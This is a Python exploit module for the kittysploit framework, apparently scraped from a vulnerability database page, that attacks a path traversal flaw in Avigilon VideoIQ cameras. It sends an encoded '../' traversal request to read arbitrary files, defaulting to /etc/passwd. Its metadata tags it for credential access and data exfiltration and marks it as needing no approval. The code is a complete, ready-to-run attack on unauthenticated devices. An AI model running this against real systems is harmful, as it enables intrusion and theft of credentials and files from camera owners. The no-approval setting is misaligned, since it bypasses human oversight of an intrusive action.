Avigilon VideoIQ Camera Path Traversal
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Avigilon VideoIQ Camera Path Traversal"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Avigilon VideoIQ Camera Path Traversal',
'description': 'Module exploits Avigilon VideoIQ Camera Path Traversal vulnerability. If target is vulnerable it is possible to read file from file system.',
'author': ['Yakir Wizman', 'Marcin Bury'],
'platform': Platform.LINUX,
'references': ['https://www.exploit-db.com/exploits/40284/'],
'tags': ['iot', 'camera', 'lfi', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(8080, "Target HTTP port")
filename = OptString("/etc/passwd", "File to read from filesystem")
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
path = "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{}".format(self.filename)
response = self.http_request(
method="GET",
path=path
)
if response is None:
print_error("Exploit failed - could not read response")
return
print_status("Trying to read file: {}".format(self.filename))
if any(err in response.text for err in ["Error 404 NOT_FOUND", "Problem accessing", "HTTP ERROR 404"]):
print_status("File does not exist: {}".format(self.filename))
return
if response.text:
print_info(response.text)
else:
print_status("File seems to be empty")
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
path = "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
response = self.http_request(
method="GET",
path=path
)
if response and ("/etc/passwd" in (response.text or '')):
return True # target is vulnerable
return False # target is not vulnerable
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19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9